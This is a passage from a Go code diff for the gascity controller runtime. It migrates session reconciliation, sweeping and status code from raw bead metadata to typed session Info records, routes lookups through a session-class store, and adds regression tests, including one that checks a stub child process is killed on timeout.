+				cr.cfg, poolWorkBeads, sessionBeads.OpenInfos(), result.ScaleCheckCounts, trace)),
 			sessionBeads,
 			result.PoolScaleCheckPartialTemplates,
 		)
@@ -2338,6 +2344,7 @@ func (cr *CityRuntime) beadReconcileTick(ctx context.Context, result DesiredStat
 		recordPhase(TraceSiteControllerTickPhase, "bead_reconcile.sweep_undesired_pool_sessions", phaseStart, traceSessionSnapshotFields(sessionBeads))
 	}
 	open := sessionBeads.Open()
+	openInfos := sessionBeads.OpenInfos()
 
 	// Use cr.cityName consistently — it's the authoritative runtime name.
 	cityName := cr.cityName
@@ -2345,7 +2352,7 @@ func (cr *CityRuntime) beadReconcileTick(ctx context.Context, result DesiredStat
 	phaseStart = time.Now()
 	cfgNames := configuredSessionNamesWithSnapshot(cr.cfg, cityName, sessionBeads)
 
-	readyWaitSet, err := prepareWaitWakeStateForCityWithSnapshot(cr.cityPath, sessStore, time.Now(), sessionBeads)
+	readyWaitSet, err := prepareWaitWakeStateForCityWithSnapshot(cr.cityPath, sessStore, store, cr.nudgesBeadStore(), time.Now(), sessionBeads)
 	if err != nil {
 		fmt.Fprintf(cr.stderr, "%s: preparing waits: %v\n", cr.logPrefix, err) //nolint:errcheck
 		readyWaitSet = nil
@@ -2363,7 +2370,7 @@ func (cr *CityRuntime) beadReconcileTick(ctx context.Context, result DesiredStat
 	cr.recordReconcileTraceInputs(trace, open, desiredState, poolDesired, workSet, traceWorkRequested, readyWaitSet, result, recordPhase)
 
 	phaseStart = time.Now()
-	awakeAssignedWorkBeads, awakeAssignedStoreRefs := filterAssignedWorkBeadsForSessionWake(cr.cfg, cr.cityPath, open, assignedWorkBeads, assignedWorkStoreRefs)
+	awakeAssignedWorkBeads, awakeAssignedStoreRefs := filterAssignedWorkBeadsForSessionWake(cr.cfg, cr.cityPath, openInfos, assignedWorkBeads, assignedWorkStoreRefs)
 	recordPhase(TraceSiteControllerTickPhase, "bead_reconcile.filter_assigned_work_for_wake", phaseStart, map[string]any{
 		"assigned_work_bead_count":       len(assignedWorkBeads),
 		"awake_assigned_work_bead_count": len(awakeAssignedWorkBeads),
@@ -2405,13 +2412,27 @@ func (cr *CityRuntime) beadReconcileTick(ctx context.Context, result DesiredStat
 		"awake_assigned_work_bead_count": len(awakeAssignedWorkBeads),
 	})
 	cr.requestDeferredDrainFollowUpTick()
-	cr.recordReconcileTraceResults(trace, open, recordPhase)
-	phaseStart = time.Now()
-	dispatchSessionBeads, err := loadSessionBeadSnapshot(store)
+	// Load the post-reconcile session snapshot once and share it between the trace
+	// terminal-state read and the wait-nudge dispatch (this is the same snapshot the
+	// dispatch already loaded; moved up, not added). recordReconcileTraceResults sources
+	// each session's terminal state/sleep_reason from this authoritative store snapshot
+	// so the lockstep-drop (Step 5b+) can retire the raw metadata mirrors without staling
+	// the trace. This intentionally makes the trace MORE accurate than the prior raw
+	// open-bead read, which was already stale for woken sessions (preWakeCommit mirrors
+	// onto a discarded store.Get copy, never the open bead) and drain-completed sessions
+	// (completeDrain's mirror was already dropped).
+	// Post-reconcile session snapshot feeds trace + wait dispatch; read it from
+	// the typed session store (controller-parity fix, identity today).
+	dispatchSessionBeads, err := loadSessionBeadSnapshot(sessStore.Store)
 	if err != nil {
-		fmt.Fprintf(cr.stderr, "%s: dispatching wait nudges: %v\n", cr.logPrefix, err) //nolint:errcheck
-	} else if err := dispatchReadyWaitNudgesWithSnapshot(cr.cityPath, cr.cfg, store, time.Now(), dispatchSessionBeads); err != nil {
-		fmt.Fprintf(cr.stderr, "%s: dispatching wait nudges: %v\n", cr.logPrefix, err) //nolint:errcheck
+		fmt.Fprintf(cr.stderr, "%s: loading post-reconcile session snapshot: %v\n", cr.logPrefix, err) //nolint:errcheck
+	}
+	cr.recordReconcileTraceResults(trace, open, dispatchSessionBeads, recordPhase)
+	phaseStart = time.Now()
+	if err == nil {
+		if nudgeErr := dispatchReadyWaitNudgesWithSnapshot(cr.cityPath, cr.cfg, sessStore, cr.nudgesBeadStore(), time.Now(), dispatchSessionBeads); nudgeErr != nil {
+			fmt.Fprintf(cr.stderr, "%s: dispatching wait nudges: %v\n", cr.logPrefix, nudgeErr) //nolint:errcheck
+		}
 	}
 	recordPhase(TraceSiteControllerTickPhase, "bead_reconcile.dispatch_wait_nudges", phaseStart, traceSessionSnapshotFields(dispatchSessionBeads))
 	// Patrol-tick fallback for the supervisor nudge dispatcher: ensures
@@ -2421,7 +2442,16 @@ func (cr *CityRuntime) beadReconcileTick(ctx context.Context, result DesiredStat
 	cr.nudgeDispatchTick(ctx)
 	recordPhase(TraceSiteControllerTickPhase, "bead_reconcile.nudge_dispatch_tick", phaseStart, nil)
 
-	// Idle recovery: detect pool sessions stuck at the prompt after
+	// Idle recovery: re-nudge pool slots that are running but never claimed
+	// their assigned trigger bead. Gated to runtimes the controller cannot see
+	// activity for (herdr): tmux self-heals a missed startup nudge through its
+	// relaunch/respawn path and reports activity, so it neither needs nor runs
+	// this. See nudgeStalledPoolClaims for the churn-free state machine.
+	if !cr.sp.Capabilities().CanReportActivity {
+		phaseStart = time.Now()
+		nudgeStalledPoolClaims(cr.sp, cr.cfg, sessStore, open, assignedWorkBeads, time.Now(), cr.stdout)
+		recordPhase(TraceSiteControllerTickPhase, "bead_reconcile.nudge_stalled_pool_claims", phaseStart, nil)
+	}
 }
 
 // recordReconcileTraceInputs records the per-template baseline, the cycle input
@@ -2538,6 +2568,7 @@ func (cr *CityRuntime) recordReconcileTraceInputs(
 func (cr *CityRuntime) recordReconcileTraceResults(
 	trace *sessionReconcilerTraceCycle,
 	open []beads.Bead,
+	postReconcile *sessionBeadSnapshot,
 	recordPhase func(TraceSiteCode, string, time.Time, map[string]any),
 ) {
 	if trace == nil {
@@ -2549,9 +2580,26 @@ func (cr *CityRuntime) recordReconcileTraceResults(
 		if template == "" {
 			continue
 		}
+		// Terminal state/sleep_reason come off the authoritative post-reconcile store
+		// snapshot rather than the raw open bead. The raw open-bead read this replaces was
+		// already stale for some transitions (woken sessions kept their pre-wake state
+		// because preWakeCommit mirrors onto a discarded store.Get copy; drain-completed
+		// sessions kept "draining" because completeDrain no longer mirrors), so this is a
+		// deliberate accuracy improvement, not a byte-identical swap. It also decouples the
+		// trace from the raw metadata mirrors the lockstep drop (Step 5b+) is retiring. A
+		// bead absent from the snapshot (closed this tick — the snapshot excludes closed
+		// history) falls back to its open metadata, unchanged from the prior read.
+		state := bead.Metadata["state"]
+		sleepReason := bead.Metadata["sleep_reason"]
+		if postReconcile != nil {
+			if final, ok := postReconcile.FindByID(bead.ID); ok {
+				state = final.Metadata["state"]
+				sleepReason = final.Metadata["sleep_reason"]
+			}
+		}
 		trace.RecordSessionResult(template, bead.Metadata["session_name"], TraceOutcomeComplete, TraceCompletenessComplete, map[string]any{
-			"state":        bead.Metadata["state"],
-			"sleep_reason": bead.Metadata["sleep_reason"],
+			"state":        state,
+			"sleep_reason": sleepReason,
 		})
 	}
 	recordPhase(TraceSiteControllerTickPhase, "bead_reconcile.record_trace_session_results", phaseStart, map[string]any{
@@ -2721,14 +2769,14 @@ func poolSweepWouldDrain(sessionBeads *sessionBeadSnapshot, desiredState map[str
 	if sessionBeads == nil || cfg == nil {
 		return false
 	}
-	for _, bead := range sessionBeads.Open() {
-		if bead.Status == "closed" {
+	for _, info := range sessionBeads.OpenInfos() {
+		if info.Closed {
 			continue
 		}
-		if _, desired := desiredState[bead.Metadata["session_name"]]; desired {
+		if _, desired := desiredState[info.SessionNameMetadata]; desired {
 			continue
 		}
-		if isManualSessionBead(bead) || isNamedSessionBead(bead) {
+		if isManualSessionInfo(info) || isNamedSessionInfo(info) {
 			continue
 		}
 		return true
@@ -2750,14 +2798,14 @@ func sweepUndesiredPoolSessionBeads(
 	}
 	startupTimeout := cfg.Session.StartupTimeoutDuration()
 	var candidates []beads.Bead
-	for _, bead := range sessionBeads.Open() {
-		if bead.Status == "closed" {
+	for _, info := range sessionBeads.OpenInfos() {
+		if info.Closed {
 			continue
 		}
-		if _, desired := desiredState[bead.Metadata["session_name"]]; desired {
+		if _, desired := desiredState[info.SessionNameMetadata]; desired {
 			continue
 		}
-		if isManualSessionBead(bead) || isNamedSessionBead(bead) {
+		if isManualSessionInfo(info) || isNamedSessionInfo(info) {
 			continue
 		}
 		// Don't sweep beads that the reconciler still considers "start
@@ -2774,10 +2822,10 @@ func sweepUndesiredPoolSessionBeads(
 		// on the same tick it's created (no work assigned →
 		// GCSweepSessionBeads closes it), spinning the pool in a rapid
 		// create→sweep→recreate loop.
-		if pendingCreateClaimStillLeasedForSweep(bead, startupTimeout) {
+		if pendingCreateClaimStillLeasedForSweepInfo(info, startupTimeout) {
 			continue
 		}
-		if strings.TrimSpace(bead.Metadata["state"]) == "creating" && !isStaleCreating(bead) {
+		if strings.TrimSpace(info.MetadataState) == "creating" && !isStaleCreatingInfo(info) {
 			continue
 		}
 		// Age grace period for the post-creating, pre-wake window. After
@@ -2824,20 +2872,28 @@ func sweepUndesiredPoolSessionBeads(
 		// "mid-start" window. The atomicity requirement therefore only
 		// binds within a single binary (writers and sweep are the same
 		// process); the rollout needs no cross-version coordination.
-		if state := strings.TrimSpace(bead.Metadata["state"]); (state == "active" || state == "awake") &&
-			strings.TrimSpace(bead.Metadata["state_reason"]) == "creation_complete" {
-			if creationCompleteAt, ok := parseRFC3339Metadata(bead.Metadata["creation_complete_at"]); ok &&
+		if state := strings.TrimSpace(info.MetadataState); (state == "active" || state == "awake") &&
+			strings.TrimSpace(info.StateReason) == "creation_complete" {
+			if creationCompleteAt, ok := parseRFC3339Metadata(info.CreationCompleteAt); ok &&
 				time.Since(creationCompleteAt) < postCreateProtectionTimeout {
 				continue
 			}
 		}
-		template := normalizedSessionTemplate(bead, cfg)
+		template := normalizedSessionTemplateInfo(info, cfg)
 		agentCfg := findAgentByTemplate(cfg, template)
-		if agentCfg == nil || !isEphemeralSessionBead(bead) {
+		if agentCfg == nil || !isEphemeralSessionInfo(info) {
 			continue
 		}
 		processNames := config.AgentProcessNames(cfg, *agentCfg, exec.LookPath)
-		if running, err := poolSessionBeadRuntimeRunning(bead, sp, processNames); err == nil && running {
+		if running, err := poolSessionBeadRuntimeRunningInfo(info, sp, processNames); err == nil && running {
+			continue
+		}
+		// The candidate is threaded raw into GCSweepSessionBeads (a store close
+		// op, rule 3); recover the source bead by ID from the same snapshot. The
+		// projection is index-stable (OpenInfos()[i] == InfoFromPersistedBead(
+		// Open()[i])), so FindByID(info.ID) returns exactly this info's bead.
+		bead, ok := sessionBeads.FindByID(info.ID)
+		if !ok {
 			continue
 		}
 		candidates = append(candidates, bead)
@@ -2859,6 +2915,21 @@ func poolSessionBeadRuntimeRunning(bead beads.Bead, sp runtime.Provider, process
 	return runtime.ObserveLiveness(sp, name, processNames).Running, nil
 }
 
+// poolSessionBeadRuntimeRunningInfo is the session.Info sibling of
+// poolSessionBeadRuntimeRunning; it reads the RAW session_name
+// (Info.SessionNameMetadata) the same way the bead form does. Equivalence
+// is structural: identical body over the same raw field.
+func poolSessionBeadRuntimeRunningInfo(info sessionpkg.Info, sp runtime.Provider, processNames []string) (bool, error) {
+	if sp == nil {
+		return false, fmt.Errorf("pool session runtime check: %w", runtime.ErrSessionNotFound)
+	}
+	name := strings.TrimSpace(info.SessionNameMetadata)
+	if name == "" {
+		return false, fmt.Errorf("pool session runtime check missing session name: %w", runtime.ErrSessionNotFound)
+	}
+	return runtime.ObserveLiveness(sp, name, processNames).Running, nil
+}
+
 // pendingCreateClaimStillLeasedForSweep keeps pending_create_claim protection
 // aligned with the reconciler: start-in-flight claims stay protected for the
 // provider-start lease, never-started creates get the longer queue lease, and
@@ -2867,6 +2938,12 @@ func pendingCreateClaimStillLeasedForSweep(bead beads.Bead, startupTimeout time.
 	return pendingCreateLeaseActive(bead, nil, startupTimeout)
 }
 
+// pendingCreateClaimStillLeasedForSweepInfo is the session.Info sibling of
+// pendingCreateClaimStillLeasedForSweep. Equivalence-proven.
+func pendingCreateClaimStillLeasedForSweepInfo(info sessionpkg.Info, startupTimeout time.Duration) bool {
+	return pendingCreateLeaseActiveInfo(info, nil, startupTimeout)
+}
+
 // isStaleCreating mirrors staleCreatingState in session_reconcile.go without
 // requiring a clock.Clock dependency. It prefers the per-attempt
 // pending_create_started_at marker and falls back to CreatedAt for older beads
@@ -2883,6 +2960,18 @@ func isStaleCreating(bead beads.Bead) bool {
 	return !now.Before(bead.CreatedAt.Add(staleCreatingStateTimeout))
 }
 
+// isStaleCreatingInfo is the session.Info mirror of isStaleCreating.
+func isStaleCreatingInfo(i sessionpkg.Info) bool {
+	now := time.Now()
+	if started, ok := parseRFC3339Metadata(i.PendingCreateStartedAt); ok {
+		return !now.Before(started.Add(staleCreatingStateTimeout))
+	}
+	if i.CreatedAt.IsZero() {
+		return true
+	}
+	return !now.Before(i.CreatedAt.Add(staleCreatingStateTimeout))
+}
+
 // parseRFC3339Metadata parses an RFC3339 timestamp metadata value. A missing,
 // zero, or unparseable value returns ok=false; the caller treats that as "no
 // per-start marker present" so older beads (pre-creation_complete_at rollout)
@@ -2922,7 +3011,7 @@ func (cr *CityRuntime) nudgeDispatchTick(_ context.Context) {
 	if sessionBeads == nil {
 		return
 	}
-	if _, err := dispatchAllQueuedNudges(cr.cityPath, cr.cfg, store.Store, cr.sp, sessionBeads); err != nil {
+	if _, err := dispatchAllQueuedNudges(cr.cityPath, cr.cfg, store.Store, cr.sessionsBeadStore().Store, cr.sp, sessionBeads); err != nil {
 		fmt.Fprintf(cr.stderr, "%s: nudge dispatcher: %v\n", cr.logPrefix, err) //nolint:errcheck
 	}
 }
@@ -2977,12 +3066,12 @@ func (cr *CityRuntime) controlDispatcherTick(ctx context.Context) {
 		sessionBeads,
 	)
 	open := filterSessionBeadsByName(updated, cfgNames)
-	poolWorkBeads := filterAssignedWorkBeadsForPoolDemand(filteredCfg, cr.cityPath, open, wfcResult.AssignedWorkBeads, wfcResult.AssignedWorkStoreRefs)
+	openInfos := filterSessionInfosByName(updated, cfgNames)
+	poolWorkBeads := filterAssignedWorkBeadsForPoolDemand(filteredCfg, cr.cityPath, openInfos, wfcResult.AssignedWorkBeads, wfcResult.AssignedWorkStoreRefs)
 	poolDesired := retainScaleCheckPartialPoolDesired(
 		filteredCfg,
 		PoolDesiredCounts(ComputePoolDesiredStates(
-			filteredCfg, poolWorkBeads, open, wfcResult.ScaleCheckCounts,
-		)),
+			filteredCfg, poolWorkBeads, openInfos, wfcResult.ScaleCheckCounts)),
 		newSessionBeadSnapshot(open),
 		wfcResult.PoolScaleCheckPartialTemplates,
 	)
@@ -3081,7 +3170,7 @@ func traceSessionSnapshotFields(sessionBeads *sessionBeadSnapshot) map[string]an
 		return nil
 	}
 	return map[string]any{
-		"open_session_count": len(sessionBeads.Open()),
+		"open_session_count": len(sessionBeads.OpenInfos()),
 	}
 }
 
@@ -3146,6 +3235,23 @@ func filterSessionBeadsByName(snapshot *sessionBeadSnapshot, names map[string]bo
 	return filtered
 }
 
+// filterSessionInfosByName is the session.Info mirror of filterSessionBeadsByName:
+// it selects the same open sessions (matched on the RAW session_name metadata,
+// SessionNameMetadata) in the same order, for the pool-demand path that reads
+// typed Info fields.
+func filterSessionInfosByName(snapshot *sessionBeadSnapshot, names map[string]bool) []sessionpkg.Info {
+	if snapshot == nil || len(names) == 0 {
+		return nil
+	}
+	var filtered []sessionpkg.Info
+	for _, info := range snapshot.OpenInfos() {
+		if names[info.SessionNameMetadata] {
+			filtered = append(filtered, info)
+		}
+	}
+	return filtered
+}
+
 func (cr *CityRuntime) buildDesiredState(sessionBeads *sessionBeadSnapshot, trace *sessionReconcilerTraceCycle) DesiredStateResult {
 	// The desired-state build threads two store roles: the session-bead store the
 	// build-fn's leading store param flows into (sessions — it becomes
@@ -3187,16 +3293,15 @@ func (cr *CityRuntime) loadDemandSnapshot(
 	sessionFingerprint := sessionBeadSnapshotFingerprint(sessionBeads)
 	if cr.shouldRefreshDemandSnapshot(trigger, configChanged, sessionFingerprint) {
 		result := cr.buildDesiredState(sessionBeads, trace)
-		var openSessionBeads []beads.Bead
+		var openSessionInfos []sessionpkg.Info
 		if sessionBeads != nil {
-			openSessionBeads = sessionBeads.Open()
+			openSessionInfos = sessionBeads.OpenInfos()
 		}
-		poolWorkBeads := filterAssignedWorkBeadsForPoolDemand(cr.cfg, cr.cityPath, openSessionBeads, result.AssignedWorkBeads, result.AssignedWorkStoreRefs)
+		poolWorkBeads := filterAssignedWorkBeadsForPoolDemand(cr.cfg, cr.cityPath, openSessionInfos, result.AssignedWorkBeads, result.AssignedWorkStoreRefs)
 		result.PoolDesiredCounts = retainScaleCheckPartialPoolDesired(
 			cr.cfg,
 			PoolDesiredCounts(ComputePoolDesiredStatesTraced(
-				cr.cfg, poolWorkBeads, openSessionBeads, result.ScaleCheckCounts, trace,
-			)),
+				cr.cfg, poolWorkBeads, openSessionInfos, result.ScaleCheckCounts, trace)),
 			sessionBeads,
 			result.PoolScaleCheckPartialTemplates,
 		)
@@ -3409,11 +3514,11 @@ func (cr *CityRuntime) recordPreservedShutdownTrace() {
 	if trace == nil {
 		return
 	}
-	trace.recordOperation("lifecycle.shutdown.preserve_sessions", "", "", "", "retained", string(TraceOutcomeApplied), traceRecordPayload{
+	trace.RecordOperation(TraceSiteLifecycleShutdownPreserveSessions, TraceReasonRetained, TraceOutcomeApplied, "", "", "", 0, traceRecordPayload{
 		"city_path": cr.cityPath,
 		"city_name": cr.cityName,
 		"reason":    "supervisor_shutdown_preserve_mode",
-	}, "")
+	})
 	trace.end(TraceCompletionCompleted, traceRecordPayload{
 		"phase":     "shutdown",
 		"mode":      "preserve_sessions",
diff --git a/cmd/gc/city_runtime_test.go b/cmd/gc/city_runtime_test.go
index 8da0d2af9f..b1592a5b2d 100644
--- a/cmd/gc/city_runtime_test.go
+++ b/cmd/gc/city_runtime_test.go
@@ -366,11 +366,11 @@ func TestSweepUndesiredPoolSessionBeads_UsesRuntimeLivenessObservation(t *testin
 }
 
 func TestPoolSessionBeadRuntimeRunningUsesRuntimeNotFoundSentinel(t *testing.T) {
-	if _, err := poolSessionBeadRuntimeRunning(beads.Bead{}, nil, nil); !errors.Is(err, runtime.ErrSessionNotFound) {
-		t.Fatalf("nil provider error = %v, want runtime.ErrSessionNotFound", err)
+	if running, err := poolSessionBeadRuntimeRunning(beads.Bead{}, nil, nil); running || !errors.Is(err, runtime.ErrSessionNotFound) {
+		t.Fatalf("nil provider: running=%v err=%v, want false + runtime.ErrSessionNotFound", running, err)
 	}
-	if _, err := poolSessionBeadRuntimeRunning(beads.Bead{Metadata: map[string]string{}}, runtime.NewFake(), nil); !errors.Is(err, runtime.ErrSessionNotFound) {
-		t.Fatalf("missing session name error = %v, want runtime.ErrSessionNotFound", err)
+	if running, err := poolSessionBeadRuntimeRunning(beads.Bead{Metadata: map[string]string{}}, runtime.NewFake(), nil); running || !errors.Is(err, runtime.ErrSessionNotFound) {
+		t.Fatalf("missing session name: running=%v err=%v, want false + runtime.ErrSessionNotFound", running, err)
 	}
 }
 
diff --git a/cmd/gc/city_status_snapshot.go b/cmd/gc/city_status_snapshot.go
index f7672b2aa1..cdcc730b43 100644
--- a/cmd/gc/city_status_snapshot.go
+++ b/cmd/gc/city_status_snapshot.go
@@ -146,7 +146,7 @@ func buildCityStoreHealth(cityPath string, store beads.Store, stderr io.Writer)
 }
 
 func collectCityStatusSnapshot(sp runtime.Provider, cfg *config.City, cityPath string, store beads.Store, stderr io.Writer) cityStatusSnapshot {
-	return collectCityStatusSnapshotFromStoreSnapshot(sp, cfg, cityPath, store, loadStatusSessionSnapshot(store, statusSnapshotTimeout(cfg), stderr), stderr)
+	return collectCityStatusSnapshotFromStoreSnapshot(sp, cfg, cityPath, store, loadStatusSessionSnapshot(cityPath, cfg, cliSessionStore(store, cfg, cityPath), stderr), stderr)
 }
 
 func collectCityStatusSnapshotFromStoreSnapshot(
@@ -291,11 +291,12 @@ func collectCityStatusSnapshotFromStoreSnapshot(
 			}
 		}
 		snapshot.Rigs = append(snapshot.Rigs, StatusRigJSON{
-			Name:               r.Name,
-			Path:               r.Path,
-			Prefix:             r.EffectivePrefix(),
-			Suspended:          suspended,
-			DefaultSlingTarget: r.DefaultSlingTarget,
+			Name:                r.Name,
+			Path:                r.Path,
+			Prefix:              r.EffectivePrefix(),
+			Suspended:           suspended,
+			DefaultSlingTarget:  r.DefaultSlingTarget,
+			DefaultSlingTargets: r.DefaultSlingTargets,
 		})
 	}
 
@@ -334,8 +335,8 @@ func namedSessionStatusForCity(
 		return status
 	}
 	if statusSnapshot != nil {
-		if bead, ok := statusSnapshot.FindSessionBeadByNamedIdentity(identity); ok {
-			if state := strings.TrimSpace(bead.Metadata["state"]); state != "" {
+		if info, ok := statusSnapshot.FindInfoByNamedIdentity(identity); ok {
+			if state := strings.TrimSpace(info.MetadataState); state != "" {
 				return state
 			}
 			return "materialized"
@@ -350,7 +351,11 @@ func namedSessionStatusForCity(
 		return status
 	}
 
-	id, err := resolveSessionIDWithConfig(cityPath, cfg, store, identity)
+	// Route the session-ID resolve and the bead fetch through the session
+	// coordination-class store so a [beads.classes.sessions] relocation reaches
+	// this named-session status lookup. Identity to store at the default backend.
+	sessStore := cliSessionStore(store, cfg, cityPath)
+	id, err := resolveSessionIDWithConfig(cityPath, cfg, sessStore, identity)
 	if err != nil {
 		if errors.Is(err, session.ErrSessionNotFound) {
 			return status
@@ -358,11 +363,13 @@ func namedSessionStatusForCity(
 		return "lookup error: " + err.Error()
 	}
 
-	bead, err := store.Get(id)
+	bead, err := sessStore.Get(id)
 	if err != nil {
 		return "lookup error: " + err.Error()
 	}
-	if state := strings.TrimSpace(bead.Metadata["state"]); state != "" {
+	// Read the raw state through the session.Info codec (verbatim MetadataState)
+	// rather than cracking bead.Metadata inline (class-store leak closure).
+	if state := strings.TrimSpace(session.InfoFromPersistedBead(bead).MetadataState); state != "" {
 		return state
 	}
 	return "materialized"
@@ -384,7 +391,10 @@ func collectCitySessionCounts(cityPath string, store beads.Store, sp runtime.Pro
 	if store == nil {
 		return summary, nil
 	}
-	catalog, err := workerSessionCatalogWithConfig(cityPath, store, sp, cfg)
+	// Route the session catalog through the session coordination-class store so a
+	// [beads.classes.sessions] relocation reaches the active/suspended counts.
+	// Identity to store at the default backend.
+	catalog, err := workerSessionCatalogWithConfig(cityPath, cliSessionStore(store, cfg, cityPath), sp, cfg)
 	if err != nil {
 		return summary, err
 	}
@@ -408,11 +418,11 @@ func countCitySessionsFromSnapshot(snapshot *sessionBeadSnapshot) StatusSummaryJ
 	if snapshot == nil {
 		return summary
 	}
-	for _, bead := range snapshot.Open() {
-		if bead.Status == "closed" || !session.IsSessionBeadOrRepairable(bead) {
+	for _, info := range snapshot.OpenInfos() {
+		if info.Closed || !session.IsSessionBeadOrRepairableInfo(info) {
 			continue
 		}
-		switch sessionMetadataState(bead) {
+		switch sessionMetadataStateInfo(info) {
 		case string(session.StateActive):
 			summary.ActiveSessions++
 		case string(session.StateSuspended):
diff --git a/cmd/gc/city_status_snapshot_test.go b/cmd/gc/city_status_snapshot_test.go
index 1ecbc5f03d..5ac381d90f 100644
--- a/cmd/gc/city_status_snapshot_test.go
+++ b/cmd/gc/city_status_snapshot_test.go
@@ -6,6 +6,8 @@ import (
 	"errors"
 	"fmt"
 	"io"
+	"os"
+	"os/exec"
 	"path/filepath"
 	"strings"
 	"sync"
@@ -14,6 +16,7 @@ import (
 
 	"github.com/gastownhall/gascity/internal/beads"
 	"github.com/gastownhall/gascity/internal/config"
+	"github.com/gastownhall/gascity/internal/processgroup/processgrouptest"
 	"github.com/gastownhall/gascity/internal/runtime"
 	"github.com/gastownhall/gascity/internal/session"
 	"github.com/gastownhall/gascity/internal/suspensionstate"
@@ -53,7 +56,7 @@ func TestCityStatusNamedSessionsUseProvidedStore(t *testing.T) {
 	if snapshot.NamedSessions[0].Status != "materialized" {
 		t.Fatalf("named session status = %q, want materialized", snapshot.NamedSessions[0].Status)
 	}
-	code := doCityStatusWithStoreAndSnapshot(sp, dops, cfg, cityPath, store, loadStatusSessionSnapshot(store, statusSessionSnapshotTimeout, &stderr), &stdout, &stderr)
+	code := doCityStatusWithStoreAndSnapshot(sp, dops, cfg, cityPath, store, loadStatusSessionSnapshot(cityPath, cfg, store, &stderr), &stdout, &stderr)
 	if code != 0 {
 		t.Fatalf("code = %d, want 0; stderr: %s", code, stderr.String())
 	}
@@ -162,7 +165,7 @@ func TestLoadStatusSessionSnapshotTimesOut(t *testing.T) {
 
 	var stderr bytes.Buffer
 	start := time.Now()
-	snapshot := loadStatusSessionSnapshot(store, statusSessionSnapshotTimeout, &stderr)
+	snapshot := loadStatusSessionSnapshot("/city", &config.City{}, store, &stderr)
 	if elapsed := time.Since(start); elapsed > time.Second {
 		t.Fatalf("loadStatusSessionSnapshot elapsed %s, want bounded timeout", elapsed)
 	}
@@ -184,6 +187,55 @@ func TestLoadStatusSessionSnapshotTimesOut(t *testing.T) {
 	}
 }
 
+// TestLoadStatusSessionSnapshotKillsBdChildOnTimeout is the ga-cdmx6x
+// regression test for `gc status`'s session-snapshot read: a bd child
+// spawned via the store loadStatusSessionSnapshot builds internally must
+// be killed when its budget expires, instead of surviving to
+// bdCommandTimeout the way the pre-fix abandon-the-goroutine pattern let
+// it. Mirrors TestScopedBdStoreForCityKillsChildOnCtxCancel's pidfile
+// pattern, driven through loadStatusSessionSnapshot itself so the whole
+// call site — not just scopedBdStoreForCity in isolation — is covered.
+func TestLoadStatusSessionSnapshotKillsBdChildOnTimeout(t *testing.T) {
+	processgrouptest.RequireRealProcessSignals(t)
+	if _, err := exec.LookPath("sh"); err != nil {
+		t.Skip("sh unavailable")
+	}
+
+	oldTimeout := statusSessionSnapshotTimeout
+	statusSessionSnapshotTimeout = 200 * time.Millisecond
+	t.Cleanup(func() { statusSessionSnapshotTimeout = oldTimeout })
+
+	cityDir := t.TempDir()
+	writeMinimalCityToml(t, cityDir)
+
+	binDir := t.TempDir()
+	pidFile := filepath.Join(binDir, "bd-child.pid")
+	writeExecutable(t, filepath.Join(binDir, "bd"), "#!/bin/sh\n"+
+		"sleep 30 &\n"+
+		"echo \"$!\" > "+pidFile+"\n"+
+		"wait\n")
+	t.Setenv("PATH", binDir+string(os.PathListSeparator)+os.Getenv("PATH"))
+
+	realStore := bdStoreForCity(cityDir, cityDir)
+
+	var stderr bytes.Buffer
+	start := time.Now()
+	_ = loadStatusSessionSnapshot(cityDir, &config.City{}, realStore, &stderr)
+	if elapsed := time.Since(start); elapsed > 10*time.Second {
+		t.Fatalf("loadStatusSessionSnapshot blocked %s; want bounded by statusSessionSnapshotTimeout", elapsed)
+	}
+
+	childPid := waitForNonEmptyFileContent(t, pidFile, 5*time.Second)
+	for range 50 {
+		if err := exec.Command("kill", "-0", childPid).Run(); err != nil {
+			return // child is gone
+		}
+		time.Sleep(20 * time.Millisecond)
+	}
+	_ = exec.Command("kill", "-KILL", childPid).Run()
+	t.Fatalf("bd child process %s survived loadStatusSessionSnapshot's timeout", childPid)
+}
+
 // TestCityStatusNamedSessionSurfacesLookupErrorWhenSnapshotDegraded is the
 // regression test for gastownhall/gascity#2148. PR #2005 added a snapshot
 // fast path in namedSessionStatusForCity that returned the cfg-derived
@@ -644,7 +696,7 @@ func TestCityStatusNamedSessionsUseLoadedSnapshotWithoutGet(t *testing.T) {
 		t.Fatalf("snapshot named session status = %q, want materialized", got)
 	}
 
-	code := doCityStatusWithStoreAndSnapshot(sp, dops, cfg, "/home/user/city", store, loadStatusSessionSnapshot(store, statusSessionSnapshotTimeout, &stderr), &stdout, &stderr)
+	code := doCityStatusWithStoreAndSnapshot(sp, dops, cfg, "/home/user/city", store, loadStatusSessionSnapshot("/home/user/city", cfg, store, &stderr), &stdout, &stderr)
 	if code != 0 {
 		t.Fatalf("code = %d, want 0; stderr: %s", code, stderr.String())
 	}
diff --git a/cmd/gc/class_store.go b/cmd/gc/class_store.go
index 2b4d5318f3..02fd49e5e6 100644
--- a/cmd/gc/class_store.go
+++ b/cmd/gc/class_store.go
@@ -279,12 +279,14 @@ func resolveGraphStore(workStore beads.Store, cfg *config.City, cityPath string,
 	return resolveClassStore(workStore, cfg, cityPath, config.BeadClassGraph, rec)
 }
 
-// newCityMailProvider builds the controller's mail provider over the work store.
-// Identity today: it is byte-identical to newMailProvider — message persistence
-// and session reads are both the work store, with no relocated class store and
-// no recorder. When messaging relocates, resolveMailMessagesStore diverges and
-// this is where the two-store mail provider plugs in.
+// newCityMailProvider builds the controller's mail provider as a two-store mail
+// provider: message beads persist in the messaging-class store, and mail's
+// session reads/writes for addressing/identity resolution go to the session-class
+// store. Both resolve to the work store at the single-store bd backend, so this is
+// byte-identical to newMailProvider(workStore) today and diverges only once
+// [beads.classes.messaging] or [beads.classes.sessions] relocates a class.
 func newCityMailProvider(workStore beads.Store, cfg *config.City, cityPath string, rec events.Recorder) mail.Provider {
-	_ = resolveMailMessagesStore(workStore, cfg, cityPath, rec)
-	return newMailProvider(workStore)
+	msgStore := resolveMailMessagesStore(workStore, cfg, cityPath, rec)
+	sessStore := resolveSessionStore(workStore, cfg, cityPath, rec)
+	return newMailProviderWithSessionStore(msgStore, sessStore)
 }
diff --git a/cmd/gc/cli_session_store.go b/cmd/gc/cli_session_store.go
new file mode 100644
index 0000000000..786c37cf00
--- /dev/null
+++ b/cmd/gc/cli_session_store.go
@@ -0,0 +1,32 @@
+package main
+
+import (
+	"github.com/gastownhall/gascity/internal/beads"
+	"github.com/gastownhall/gascity/internal/config"
+	"github.com/gastownhall/gascity/internal/session"
+)
+
+// cliSessionStore routes a generic CLI one-shot work store to the session
+// coordination-class store, so a [beads.classes.sessions] relocation reaches
